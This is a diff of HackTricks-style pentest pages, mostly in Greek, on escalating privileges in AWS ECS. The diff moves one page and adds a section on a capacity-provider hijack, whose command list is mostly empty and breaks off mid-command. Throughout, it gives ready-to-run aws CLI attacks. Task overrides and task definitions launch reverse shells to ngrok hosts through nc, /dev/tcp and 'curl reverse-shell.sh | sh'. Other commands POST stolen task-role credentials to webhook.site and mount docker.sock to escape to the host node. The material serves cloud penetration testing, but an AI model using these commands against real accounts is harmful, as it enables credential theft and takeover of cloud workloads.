-### `iam:PassRole`,`ecs:RunTask` -Ένας επιτιθέμενος που έχει `iam:PassRole` και `ecs:RunTask` δικαιώματα μπορεί να ξεκινήσει ένα νέο ECS task με τροποποιημένο **ρόλο εκτέλεσης**, **ρόλο εργασίας** και τις **command** τιμές του container. Η εντολή CLI `ecs run-task` περιέχει την επιλογή `--overrides` που επιτρέπει την αλλαγή κατά την εκτέλεση των `executionRoleArn`, `taskRoleArn` και της `command` του container χωρίς να τροποποιηθεί το task definition. - -Οι συγκεκριμένοι IAM ρόλοι για `taskRoleArn` και `executionRoleArn` πρέπει να εμπιστεύονται/επιτρέπουν να αναληφθούν από το `ecs-tasks.amazonaws.com` στην trust policy τους. - -Επιπλέον, ο επιτιθέμενος χρειάζεται να γνωρίζει: -- ECS cluster name -- VPC Subnet -- Security group (Αν δεν καθοριστεί security group θα χρησιμοποιηθεί το προεπιλεγμένο) -- Task Definition Name and revision -- Name of the Container -```bash -aws ecs run-task \ ---cluster \ ---launch-type FARGATE \ ---network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ ---task-definition \ ---overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": , -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -Στο απόσπασμα κώδικα πιο πάνω, ο attacker αντικαθιστά μόνο την τιμή του `taskRoleArn`. Ωστόσο, ο attacker πρέπει να έχει την άδεια `iam:PassRole` πάνω στο `taskRoleArn` που καθορίζεται στην εντολή και στο `executionRoleArn` που ορίζεται στον ορισμό του task για να πραγματοποιηθεί η επίθεση. - -If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) then the attacker can specify the same IAM role for both `executionRoleArn` and `taskRoleArn` in the `ecs run-task` command. -```sh -aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": "", -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -**Potential Impact:** Άμεσο privesc σε οποιονδήποτε ECS task role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` - -Όπως στο προηγούμενο παράδειγμα, ένας attacker που εκμεταλλεύεται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να το **τρέξει**.\ -Ωστόσο, σε αυτή την περίπτωση, απαιτείται μια container instance για να τρέξει το κακόβουλο task definition. -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -aws ecs start-task --task-definition iam_exfiltration \ ---container-instances - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -**Πιθανός Αντίκτυπος:** Direct privesc to any ECS role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` - - -Όπως και στο προηγούμενο παράδειγμα, ένας attacker που καταχράται τα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ή **`ecs:CreateService`** δικαιώματα στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με έναν **malicious container** που **κλέβει τα metadata credentials** και **να το τρέξει δημιουργώντας ένα νέο service με τουλάχιστον 1 task σε λειτουργία.** -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn "$ECS_ROLE_ARN" \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" - -# Run the task creating a service -aws ecs create-service --service-name exfiltration \ ---task-definition iam_exfiltration \ ---desired-count 1 \ ---cluster "$CLUSTER_ARN" \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" - -# Run the task updating a service -aws ecs update-service --cluster \ ---service \ ---task-definition -``` -**Potential Impact:** Άμεσο privesc σε οποιονδήποτε ECS role. - -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` - -Στην πραγματικότητα, μόνο με αυτά τα δικαιώματα είναι δυνατό να χρησιμοποιήσετε overrides για να εκτελέσετε αυθαίρετες εντολές σε ένα container με οποιοδήποτε role, με κάτι σαν: -```bash -aws ecs run-task \ ---task-definition "" \ ---overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ ---cluster \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" -``` -**Potential Impact:** Άμεση privesc σε οποιονδήποτε ρόλο ECS. - -### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Αυτό το σενάριο είναι σαν τα προηγούμενα αλλά **χωρίς** την **`iam:PassRole`** άδεια.\ -Παραμένει όμως ενδιαφέρον επειδή αν μπορείτε να τρέξετε ένα αυθαίρετο container, ακόμη κι αν είναι χωρίς ρόλο, θα μπορούσατε να **run a privileged container to escape** στον node και να **steal the EC2 IAM role** και τους **other ECS containers roles** που τρέχουν στον node.\ -Μπορείτε ακόμη και να **force other tasks to run inside the EC2 instance** που θα συμβιβάσετε, για να κλέψετε τα credentials τους (όπως συζητείται στην [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). - -> [!WARNING] -> Αυτή η επίθεση είναι δυνατή μόνο αν το **ECS cluster is using EC2** instances και όχι Fargate. -```bash -printf '[ -{ -"name":"exfil_creds", -"image":"python:latest", -"entryPoint":["sh", "-c"], -"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], -"mountPoints": [ -{ -"readOnly": false, -"containerPath": "/var/run/docker.sock", -"sourceVolume": "docker-socket" -} -] -} -]' > /tmp/task.json - -printf '[ -{ -"name": "docker-socket", -"host": { -"sourcePath": "/var/run/docker.sock" -} -} -]' > /tmp/volumes.json - - -aws ecs register-task-definition --family iam_exfiltration \ ---cpu 256 --memory 512 \ ---requires-compatibilities '["EC2"]' \ ---container-definitions file:///tmp/task.json \ ---volumes file:///tmp/volumes.json - - -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ ---launch-type EC2 - -# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell -``` -### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Ένας attacker με τα **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** μπορεί να **εκτελέσει εντολές** μέσα σε ένα τρέχον container και να εξάγει το IAM role που είναι συνημμένο σε αυτό (χρειάζεστε τα describe permissions γιατί είναι απαραίτητα για να τρέξετε `aws ecs execute-command`).\ -Ωστόσο, για να γίνει αυτό, το container instance πρέπει να τρέχει το **ExecuteCommand agent** (το οποίο εξ ορισμού δεν τρέχει). - -Therefore, the attacker could try to: - -- **Try to run a command** in every running container -```bash -# List enableExecuteCommand on each task -for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do -echo "Cluster $cluster" -for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do -echo " Task $task" -# If true, it's your lucky day -aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand -done -done - -# Execute a shell in a container -aws ecs execute-command --interactive \ ---command "sh" \ ---cluster "$CLUSTER_ARN" \ ---task "$TASK_ARN" -``` -- Αν έχει **`ecs:RunTask`**, τρέξτε ένα task με `aws ecs run-task --enable-execute-command [...]` -- Αν έχει **`ecs:StartTask`**, τρέξτε ένα task με `aws ecs start-task --enable-execute-command [...]` -- Αν έχει **`ecs:CreateService`**, δημιουργήστε μια service με `aws ecs create-service --enable-execute-command [...]` -- Αν έχει **`ecs:UpdateService`**, ενημερώστε μια service με `aws ecs update-service --enable-execute-command [...]` - -Μπορείτε να βρείτε **παραδείγματα αυτών των επιλογών** στις **προηγούμενες ECS privesc ενότητες**. - -**Potential Impact:** Privesc σε διαφορετικό role συνδεδεμένο με containers. - -### `ssm:StartSession` - -Δείτε στη **ssm privesc page** πώς μπορείτε να καταχραστείτε αυτήν την άδεια για να **privesc to ECS**: - -{{#ref}} -aws-ssm-privesc.md -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Δείτε στην **ec2 privesc page** πώς μπορείτε να καταχραστείτε αυτές τις άδειες για να **privesc to ECS**: - -{{#ref}} -aws-ec2-privesc.md -{{#endref}} - -### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` - -Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε ενδεχομένως να καταχωρήσει ένα EC2 instance σε ένα ECS cluster και να τρέξει tasks πάνω του. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο των ECS tasks. - -- TODO: Είναι δυνατόν να καταχωρηθεί ένα instance από διαφορετικό AWS account έτσι ώστε τα tasks να τρέχουν σε μηχανές που ελέγχονται από τον επιτιθέμενο?? - -### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` - -> [!NOTE] -> TODO: Δοκιμάστε αυτό - -Ένας επιτιθέμενος με τις άδειες `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, και `ecs:DescribeTaskSets` μπορεί να **δημιουργήσει ένα κακόβουλο task set για μια υπάρχουσα ECS service και να ενημερώσει το primary task set**. Αυτό επιτρέπει στον επιτιθέμενο να **εκτελέσει αυθαίρετο κώδικα εντός της υπηρεσίας**. -```bash -# Register a task definition with a reverse shell -echo '{ -"family": "malicious-task", -"containerDefinitions": [ -{ -"name": "malicious-container", -"image": "alpine", -"command": [ -"sh", -"-c", -"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" -] -} -] -}' > malicious-task-definition.json - -aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json - -# Create a malicious task set for the existing service -aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" - -# Update the primary task set for the service -aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id -``` -**Πιθανός Αντίκτυπος**: Execute arbitrary code στην επηρεασμένη υπηρεσία, ενδεχομένως επηρεάζοντας τη λειτουργικότητά της ή exfiltrating sensitive data. - -## Αναφορές - -- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md new file mode 100644 index 000000000..6d2e19f69 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -0,0 +1,550 @@ +# AWS - ECS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Περισσότερες **πληροφορίες για το ECS** στο: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` + +Ένας επιτιθέμενος που καταχράται τα δικαιώματα `iam:PassRole`, `ecs:RegisterTaskDefinition` και `ecs:RunTask` στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να το **τρέξει**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +# Run task definition +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Δημιουργήστε ένα webhook με έναν ιστότοπο όπως το webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + +**Potential Impact:** Άμεση privesc σε διαφορετικό ECS ρόλο. + +### `iam:PassRole`,`ecs:RunTask` +Ένας επιτιθέμενος που διαθέτει τα δικαιώματα `iam:PassRole` και `ecs:RunTask` μπορεί να ξεκινήσει ένα νέο ECS task με τροποποιημένες τις **execution role**, **task role** και την **command** του container. Η εντολή CLI `ecs run-task` περιλαμβάνει την παράμετρο `--overrides` που επιτρέπει την αλλαγή σε runtime των `executionRoleArn`, `taskRoleArn` και της `command` του container χωρίς να αγγίξει το task definition. + +Οι καθορισμένοι IAM ρόλοι για τα `taskRoleArn` και `executionRoleArn` πρέπει να εμπιστεύονται/επιτρέπουν να αναλαμβάνονται από το `ecs-tasks.amazonaws.com` στην trust policy τους. + +Επίσης, ο επιτιθέμενος πρέπει να γνωρίζει: +- ECS cluster name +- VPC Subnet +- Security group (If no security group is specified the default one will be used) +- Task Definition Name and revision +- Name of the Container +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +Στο παραπάνω απόσπασμα κώδικα ένας επιτιθέμενος αντικαθιστά μόνο την τιμή `taskRoleArn`. Ωστόσο, ο επιτιθέμενος πρέπει να έχει δικαίωμα `iam:PassRole` πάνω στο `taskRoleArn` που καθορίζεται στην εντολή και στο `executionRoleArn` που καθορίζεται στον ορισμό του task ώστε η επίθεση να πραγματοποιηθεί. + +Εάν ο IAM ρόλος που ο επιτιθέμενος μπορεί να περάσει έχει επαρκή προνόμια για να τραβήξει εικόνα από το ECR και να ξεκινήσει το ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) τότε ο επιτιθέμενος μπορεί να καθορίσει τον ίδιο IAM ρόλο τόσο για το `executionRoleArn` όσο και για το `taskRoleArn` στην εντολή `ecs run-task`. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Πιθανός Αντίκτυπος:** Άμεσο privesc σε οποιοδήποτε ECS task role. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` + +Όπως στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που εκμεταλλεύεται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να το **τρέξει**.\ +Ωστόσο, σε αυτή την περίπτωση χρειάζεται να υπάρχει ένα container instance για να τρέξει το κακόβουλο task definition. +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +aws ecs start-task --task-definition iam_exfiltration \ +--container-instances + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +**Potential Impact:** Άμεσο privesc σε οποιονδήποτε ρόλο του ECS. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` + +Όπως και στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που καταχράται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ή **`ecs:CreateService`** στο ECS μπορεί να **generate a new task definition** με ένα **malicious container** που κλέβει τα metadata credentials και να το **run it by creating a new service with at least 1 task running.** +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" + +# Run the task creating a service +aws ecs create-service --service-name exfiltration \ +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" + +# Run the task updating a service +aws ecs update-service --cluster \ +--service \ +--task-definition +``` +**Potential Impact:** Άμεσο privesc σε οποιοδήποτε ECS role. + +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` + +Στην πραγματικότητα, μόνο με αυτά τα δικαιώματα είναι δυνατόν να χρησιμοποιήσετε overrides για να εκτελέσετε αυθαίρετες εντολές σε ένα container με οποιοδήποτε role, με κάτι σαν: +```bash +aws ecs run-task \ +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +``` +**Πιθανός αντίκτυπος:** Άμεσο privesc σε οποιονδήποτε ρόλο ECS. + +### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Αυτό το σενάριο είναι σαν τα προηγούμενα αλλά **χωρίς** την άδεια **`iam:PassRole`**.\ +Αυτό παραμένει ενδιαφέρον γιατί αν μπορείτε να τρέξετε ένα αυθαίρετο container, ακόμα κι αν είναι χωρίς ρόλο, θα μπορούσατε να **τρέξετε ένα privileged container για να escape** στο node και να **κλέψετε τον EC2 IAM role** και τους **άλλους ECS containers roles** που τρέχουν στον node.\ +Μπορείτε ακόμη και να **αναγκάσετε άλλες εργασίες να τρέξουν μέσα στο EC2 instance** που συμβιβάζετε για να κλέψετε τα credentials τους (όπως συζητείται στην [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). + +> [!WARNING] +> Αυτή η επίθεση είναι δυνατή μόνο αν το **ECS cluster χρησιμοποιεί EC2** instances και όχι Fargate. +```bash +printf '[ +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} +]' > /tmp/task.json + +printf '[ +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} +]' > /tmp/volumes.json + + +aws ecs register-task-definition --family iam_exfiltration \ +--cpu 256 --memory 512 \ +--requires-compatibilities '["EC2"]' \ +--container-definitions file:///tmp/task.json \ +--volumes file:///tmp/volumes.json + + +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ +--launch-type EC2 + +# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell +``` +### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Ένας επιτιθέμενος με τις **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** μπορεί να **εκτελέσει εντολές** μέσα σε ένα τρέχον container και να εξάγει το IAM role που είναι συνημμένο σε αυτό (χρειάζεσαι τα describe permissions γιατί είναι απαραίτητα για να τρέξεις `aws ecs execute-command`).\ +Ωστόσο, για να γίνει αυτό, το container instance πρέπει να τρέχει τον **ExecuteCommand agent** (ο οποίος από προεπιλογή δεν τρέχει). + +Επομένως, ο επιτιθέμενος μπορεί να προσπαθήσει να: + +- **Να τρέξει μια εντολή** σε κάθε container που τρέχει +```bash +# List enableExecuteCommand on each task +for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do +echo "Cluster $cluster" +for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do +echo " Task $task" +# If true, it's your lucky day +aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand +done +done + +# Execute a shell in a container +aws ecs execute-command --interactive \ +--command "sh" \ +--cluster "$CLUSTER_ARN" \ +--task "$TASK_ARN" +``` +- Εάν έχει **`ecs:RunTask`**, τρέξε ένα task με `aws ecs run-task --enable-execute-command [...]` +- Εάν έχει **`ecs:StartTask`**, τρέξε ένα task με `aws ecs start-task --enable-execute-command [...]` +- Εάν έχει **`ecs:CreateService`**, δημιούργησε μια service με `aws ecs create-service --enable-execute-command [...]` +- Εάν έχει **`ecs:UpdateService`**, ενημέρωσε μια service με `aws ecs update-service --enable-execute-command [...]` + +Μπορείς να βρεις **παραδείγματα αυτών των επιλογών** στις **προηγούμενες ECS privesc ενότητες**. + +**Πιθανός αντίκτυπος:** Privesc σε διαφορετικό role που είναι συνημμένο σε containers. + +### `ssm:StartSession` + +Κοίτα στην **ssm privesc σελίδα** πώς μπορείς να καταχραστείς αυτή την άδεια για να **privesc σε ECS**: + +{{#ref}} +../aws-ssm-privesc/README.md +{{#endref}} + +### `iam:PassRole`, `ec2:RunInstances` + +Κοίτα στην **ec2 privesc σελίδα** πώς μπορείς να καταχραστείς αυτές τις άδειες για να **privesc σε ECS**: + +{{#ref}} +../aws-ec2-privesc/README.md +{{#endref}} + +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` + +Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε ενδεχομένως να εγγράψει ένα EC2 instance σε ένα ECS cluster και να τρέξει tasks σε αυτό. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο των ECS tasks. + +- TODO: Είναι δυνατό να εγγραφεί ένα instance από διαφορετικό AWS account έτσι ώστε τα tasks να τρέχουν σε μηχανές ελεγχόμενες από τον επιτιθέμενο?? + +### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` + +> [!NOTE] +> TODO: Δοκιμάστε αυτό + +Ένας επιτιθέμενος με τις άδειες `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, και `ecs:DescribeTaskSets` μπορεί να **δημιουργήσει ένα κακόβουλο task set για μια υπάρχουσα ECS service και να ενημερώσει το primary task set**. Αυτό επιτρέπει στον επιτιθέμενο να **εκτελέσει αυθαίρετο κώδικα εντός της υπηρεσίας**. +```bash +# Register a task definition with a reverse shell +echo '{ +"family": "malicious-task", +"containerDefinitions": [ +{ +"name": "malicious-container", +"image": "alpine", +"command": [ +"sh", +"-c", +"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" +] +} +] +}' > malicious-task-definition.json + +aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json + +# Create a malicious task set for the existing service +aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" + +# Update the primary task set for the service +aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id +``` +**Πιθανός αντίκτυπος**: Εκτέλεση αυθαίρετου κώδικα στην επηρεασμένη υπηρεσία, ενδεχομένως επηρεάζοντας τη λειτουργικότητά της ή προκαλώντας εξαγωγή ευαίσθητων δεδομένων. + +## Αναφορές + +- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) + +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover) + +Ένας επιτιθέμενος με δικαιώματα για διαχείριση ECS capacity providers και ενημέρωση services μπορεί να δημιουργήσει ένα EC2 Auto Scaling Group που ελέγχει, να το ενσωματώσει σε έναν ECS Capacity Provider, να το συσχετίσει με το στοχευόμενο cluster και να μεταφέρει μια θύμα υπηρεσία ώστε να χρησιμοποιεί αυτόν τον provider. Στη συνέχεια, τα tasks θα προγραμματιστούν σε EC2 instances που ελέγχονται από τον επιτιθέμενο, επιτρέποντας πρόσβαση σε επίπεδο λειτουργικού συστήματος για επιθεώρηση των containers και κλοπή των task role credentials. + +Commands (us-east-1): + +- Προαπαιτούμενα + + + +- Create Launch Template for ECS agent to join target cluster + + + +- Create Auto Scaling Group + + + +- Create Capacity Provider from the ASG + + + +- Associate the Capacity Provider to the cluster (optionally as default) + + + +- Migrate a service to your provider + + + +- Verify tasks land on attacker instances + + + +- Optional: From the EC2 node, docker exec into target containers and read http://169.254.170.2 to obtain the task role credentials. + +- Καθαρισμός + + + +**Πιθανός αντίκτυπος:** EC2 nodes που ελέγχονται από τον επιτιθέμενο λαμβάνουν τα victim tasks, δίνοντας πρόσβαση σε επίπεδο λειτουργικού συστήματος στα containers και κλοπή των task IAM role credentials. + + +
+Step-by-step commands (copy/paste) +
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
